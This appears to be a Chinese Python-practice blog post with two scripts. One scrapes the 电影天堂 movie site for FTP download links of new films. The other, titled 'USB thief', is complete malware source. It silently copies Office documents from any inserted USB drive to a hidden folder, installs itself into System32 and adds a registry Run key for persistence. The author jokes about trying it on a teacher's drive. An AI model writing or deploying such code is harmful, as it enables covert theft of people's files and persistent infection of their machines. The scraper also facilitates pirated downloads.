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<h1 class="post-title" itemprop="name headline">Python学习练手</h1>
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<h2 id="电影天堂爬虫"><a href="#电影天堂爬虫" class="headerlink" title="电影天堂爬虫"></a>电影天堂爬虫</h2><p><a href="http://www.dytt8.net/index.html" target="_blank" rel="noopener">电影天堂</a> 最新电影爬取</p>
<figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">#coding:utf-8</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">from</span> urllib <span class="keyword">import</span> urlopen</span><br><span class="line"><span class="keyword">from</span> bs4 <span class="keyword">import</span> BeautifulSoup</span><br><span class="line"><span class="keyword">import</span> lxml</span><br><span class="line"><span class="keyword">import</span> urllib</span><br><span class="line"><span class="keyword">import</span> re</span><br><span class="line"><span class="keyword">import</span> sys</span><br><span class="line"><span class="keyword">import</span> codecs<span class="comment">#声明文件打开中文格式编码</span></span><br><span class="line"></span><br><span class="line">reload(sys)</span><br><span class="line">sys.setdefaultencoding( <span class="string">"utf-8"</span> )<span class="comment">#不适用Unicode默认编码 而使用utf-8</span></span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">get_htmlobj</span><span class="params">(url)</span>:</span></span><br><span class="line"> html=urlopen(url)</span><br><span class="line"> obj=BeautifulSoup(html,<span class="string">"lxml"</span>,from_encoding=<span class="string">"gb2312"</span>)<span class="comment">#进行解析</span></span><br><span class="line"> html.close()<span class="comment">#不要忘记关掉</span></span><br><span class="line"> <span class="keyword">return</span> obj</span><br><span class="line"></span><br><span class="line">obj=get_htmlobj(<span class="string">"http://www.dytt8.net/index.htm"</span>)</span><br><span class="line"></span><br><span class="line">linklist=obj.findAll(<span class="string">"a"</span>)<span class="comment">#<a>标签内的东西</span></span><br><span class="line">file_linklist=codecs.open(<span class="string">'C:\Users\Administrator\Desktop\linklist.txt'</span>,<span class="string">'w'</span>,<span class="string">'utf-8'</span>)</span><br><span class="line"><span class="keyword">for</span> x <span class="keyword">in</span> linklist: <span class="comment">#写在外面</span></span><br><span class="line"> file_linklist.write(str(x))</span><br><span class="line"></span><br><span class="line">f=codecs.open(<span class="string">"C:\Users\Administrator\Desktop\linklist.txt"</span>,<span class="string">'r'</span>,<span class="string">'utf-8'</span>)</span><br><span class="line">txt=f.read()</span><br><span class="line">f.close()</span><br><span class="line"></span><br><span class="line"><span class="comment">#最新电影下载</a><a href="/html/gndy/dyzz/20170211/53219.html">2017年动作《十字追杀令2》BD中英双字幕</a><a href="/html/gndy/dyzz/index.html"></span></span><br><span class="line">rule = <span class="string">u'最新电影下载</a><a href="(.*?\.html)">.*?</a>'</span> <span class="comment">#正则规则</span></span><br><span class="line">urlre = re.compile(rule)</span><br><span class="line">url_list=urlre.findall(txt)</span><br><span class="line"></span><br><span class="line"><span class="comment">#所有的最新电影url</span></span><br><span class="line"><span class="comment">#######################################################</span></span><br><span class="line">url_txt=codecs.open(<span class="string">"C:\Users\Administrator\Desktop\url_list.txt"</span>,<span class="string">'w'</span>,<span class="string">'utf-8'</span>)</span><br><span class="line">urlre=re.compile(<span class="string">r'<a href="(ftp://.*?)">'</span>)</span><br><span class="line">download_list=[]</span><br><span class="line"><span class="keyword">for</span> x <span class="keyword">in</span> url_list:</span><br><span class="line"> url=<span class="string">'http://www.dytt8.net/'</span>+str(x).encode(<span class="string">'utf-8'</span>)</span><br><span class="line"> obj=get_htmlobj(url)</span><br><span class="line"> linklist=obj.findAll(<span class="string">'a'</span>)</span><br><span class="line"> <span class="keyword">for</span> a <span class="keyword">in</span> linklist:</span><br><span class="line"> <span class="keyword">if</span> len(urlre.findall(str(a))):</span><br><span class="line"> download_list.extend(urlre.findall(str(a)))</span><br><span class="line"><span class="keyword">for</span> x <span class="keyword">in</span> download_list:</span><br><span class="line"> <span class="comment">#url_txt.write(str(x)+"\n")</span></span><br><span class="line"> <span class="keyword">print</span> str(x)+<span class="string">"\n"</span></span><br><span class="line">url_txt.close()</span><br><span class="line"><span class="keyword">print</span> len(download_list)</span><br><span class="line"></span><br><span class="line"><span class="keyword">print</span> <span class="string">"over"</span></span><br></pre></td></tr></table></figure>
<hr>
<h2 id="U盘小偷"><a href="#U盘小偷" class="headerlink" title="U盘小偷"></a>U盘小偷</h2><p>插入u盘后会自动隐匿复制u盘中的文件到D盘目录下，并会修改注册表开机启动。 老师上课u盘？不敢试不敢试</p>
<figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">#coding:utf-8</span></span><br><span class="line"><span class="keyword">import</span> win32file </span><br><span class="line"><span class="keyword">import</span> shutil </span><br><span class="line"><span class="keyword">import</span> os </span><br><span class="line"><span class="keyword">import</span> time </span><br><span class="line"><span class="keyword">import</span> _winreg </span><br><span class="line"><span class="keyword">import</span> subprocess</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">getremovabledisk</span><span class="params">()</span>:</span></span><br><span class="line"> drives=[] </span><br><span class="line"> <span class="keyword">if</span> win32file.GetLogicalDrives():<span class="comment">#当U盘存在时返回252，反之返回124</span></span><br><span class="line"> drive_all=[<span class="string">"D:\\"</span>,<span class="string">"E:\\"</span>,<span class="string">"F:\\"</span>,<span class="string">"G:\\"</span>,<span class="string">"H:\\"</span>,<span class="string">"I:\\"</span>,<span class="string">"J:\\"</span>]</span><br><span class="line"> <span class="keyword">for</span> str <span class="keyword">in</span> drive_all:</span><br><span class="line"> <span class="keyword">if</span> win32file.GetDriveType(str)==<span class="number">2</span>: <span class="comment">#当盘符存在时 返回2 否则返回1</span></span><br><span class="line"> free_bytes,total_bytes,total_free_bytes=win32file.GetDiskFreeSpaceEx(str) </span><br><span class="line"> <span class="keyword">if</span> (total_bytes/<span class="number">1024</span>/<span class="number">1024</span>/<span class="number">1024</span>)<<span class="number">32</span>:</span><br><span class="line"> drives.append(str)</span><br><span class="line"></span><br><span class="line"> <span class="keyword">return</span> drives <span class="comment">#U盘不存在的话返回0 U盘存在的话返回U盘盘符</span></span><br><span class="line"> </span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">copyfile</span><span class="params">(drives)</span>:</span></span><br><span class="line"> target_dir=<span class="string">"D:/copyfile/"</span></span><br><span class="line"> <span class="keyword">if</span> <span class="keyword">not</span> os.path.exists(target_dir):<span class="comment">#目录是否存在</span></span><br><span class="line"> os.makedirs(target_dir) </span><br><span class="line"> today=target_dir+time.strftime(<span class="string">'%Y%m%d%H%M'</span>)+<span class="string">'/'</span> </span><br><span class="line"> <span class="keyword">if</span> <span class="keyword">not</span> os.path.exists(today): </span><br><span class="line"> os.makedirs(today)</span><br><span class="line"> <span class="keyword">for</span> udisk <span class="keyword">in</span> drives:</span><br><span class="line"> <span class="keyword">for</span> root, dirs, files <span class="keyword">in</span> os.walk(udisk):</span><br><span class="line"> <span class="comment">#方法返回的是一个三元tupple(dirpath, dirnames, filenames)</span></span><br><span class="line"> <span class="comment">#其中第一个为起始路径，第二个为起始路径下的文件夹列表,第三个是起始路径下的文件列表.</span></span><br><span class="line"> <span class="keyword">for</span> one <span class="keyword">in</span> files:</span><br><span class="line"> type = os.path.splitext(one)[<span class="number">1</span>]<span class="comment">#返回文件后缀 </span></span><br><span class="line"> <span class="keyword">if</span> type == <span class="string">".ppt"</span> <span class="keyword">or</span> type == <span class="string">".pptx"</span> <span class="keyword">or</span> type == <span class="string">".doc"</span> <span class="keyword">or</span> type == <span class="string">"docx"</span> : </span><br><span class="line"> <span class="keyword">if</span> len(root)><span class="number">3</span> <span class="keyword">and</span> <span class="keyword">not</span> os.path.exists(today+root[<span class="number">3</span>:]):</span><br><span class="line"> os.makedirs(today+root[<span class="number">3</span>:])</span><br><span class="line"> shutil.copy(root+<span class="string">'/'</span>+one,today+root[<span class="number">3</span>:]+<span class="string">'/'</span>+one)<span class="comment">#复制files 中的文件 </span></span><br><span class="line"> </span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">addtoautorun</span><span class="params">()</span>:</span></span><br><span class="line"> <span class="comment">#修改注册表将程序改为开机启动 注册表地址: regedit//HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run </span></span><br><span class="line"> key=_winreg.OpenKey(_winreg.HKEY_LOCAL_MACHINE,<span class="string">r'SOFTWARE\Microsoft\Windows\CurrentVersion\Run'</span>,<span class="number">0</span>,_winreg.KEY_WRITE) </span><br><span class="line"> _winreg.SetValueEx(key,<span class="string">"UDiskBee"</span>,<span class="number">0</span>,_winreg.REG_SZ,<span class="string">r'C:/WINDOWS/system32/UDiskBee.exe'</span>)<span class="comment">#REG_SZ注册表类型 </span></span><br><span class="line"></span><br><span class="line"><span class="comment">#_winreg.OpenKey(key, sub_key[, res[, sam]])</span></span><br><span class="line"><span class="comment">#该函数包括两个必要参数和两个可选参数：</span></span><br><span class="line"><span class="comment">#key是一个已经打开的key，或者是注册表常量中的某一个值</span></span><br><span class="line"><span class="comment">#sub_key是一个字符串，比如上图所示，_winreg.OpenKey(_winreg.HKEY_LOCAL_MACHINE,"SOFTWARE")即可获得一个指HKEY_LOCAL_MACHINE下的“SOFTWARE”对象的句柄</span></span><br><span class="line"><span class="comment">#res是一个保留的整型数据，必须是0，且默认是0</span></span><br><span class="line"><span class="comment">#sam是一个用来指明句柄对该key的访问权限的整型数据，默认是KEY_READ，要进行写操作时需要KEY_WRITE或者KEY_ALL_ACCESS权限</span></span><br><span class="line"></span><br><span class="line"><span class="comment">#_winreg.SetValue(key,sub_key,type,value)</span></span><br><span class="line"><span class="comment">#该函数用于设置subkey的未命名value的data，也就是上图所示中"(默认)"对应的"数值未设置"，若subkey不存在则自动创建subkey</span></span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="comment">#_winreg.SetValueEx(key,value_name,reserved,type,value)</span></span><br><span class="line"><span class="comment">#该函数用于设置key中对应value_name的type和value</span></span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="comment">#_winreg.EnumValue(key,index)</span></span><br><span class="line"><span class="comment">#该函数用于枚举获取key下的values，返回类型为tuple，与_winreg.QueryInfoKey(key)一起使用即可实现对values的遍历</span></span><br><span class="line"> </span><br><span class="line"> </span><br><span class="line"><span class="comment">#_winreg.QueryValue(key,sub_key)</span></span><br><span class="line"><span class="comment">#该函数用于获取未命名的value的data，也就是上图所示中"(默认)"对应的"数值未设置"</span></span><br><span class="line"> </span><br><span class="line"></span><br><span class="line"><span class="comment">#_winreg.QueryValueEx(key,value_name)</span></span><br><span class="line"><span class="comment">#该函数用于获取某个key中指定value的data和type，返回类型是tuple</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> __name__==<span class="string">"__main__"</span>: </span><br><span class="line"> <span class="keyword">if</span> <span class="keyword">not</span> os.path.isfile(<span class="string">'C:/Windows/System32/UDiskBee.exe'</span>):<span class="comment">#文件是否存在</span></span><br><span class="line"> shutil.copy(os.getcwd()+<span class="string">'/'</span>+<span class="string">'UDiskBee.exe'</span>,<span class="string">'C:/Windows/System32/UDiskBee.exe'</span>) </span><br><span class="line"> addtoautorun() <span class="comment">#设置为开机启动</span></span><br><span class="line"> subprocess.Popen(<span class="string">'C:/Windows/System32/UDiskBee.exe'</span>,shell=<span class="keyword">True</span>)<span class="comment">#创建进程 </span></span><br><span class="line"> <span class="keyword">else</span> :</span><br><span class="line"> subprocess.Popen(<span class="string">'C:/Windows/System32/UDiskBee.exe'</span>,shell=<span class="keyword">True</span>)<span class="comment">#创建进程 </span></span><br><span class="line"> drives_bk=[]</span><br><span class="line"> <span class="keyword">while</span> <span class="number">1</span>:</span><br><span class="line"> time.sleep(<span class="number">20</span>)</span><br><span class="line"> drives=getremovabledisk()</span><br><span class="line"> <span class="keyword">if</span> (drives!=drives_bk)&(len(drives_bk)<len(drives)):</span><br><span class="line"> <span class="comment">#new U Disk </span></span><br><span class="line"> drives_bk=drives</span><br><span class="line"> copyfile(drives)</span><br><span class="line"> <span class="keyword">if</span> (drives!=drives_bk)&(len(drives_bk)>len(drives)): </span><br><span class="line"> <span class="comment">#Disk remove </span></span><br><span class="line"> drives_bk=drives</span><br></pre></td></tr></table></figure>
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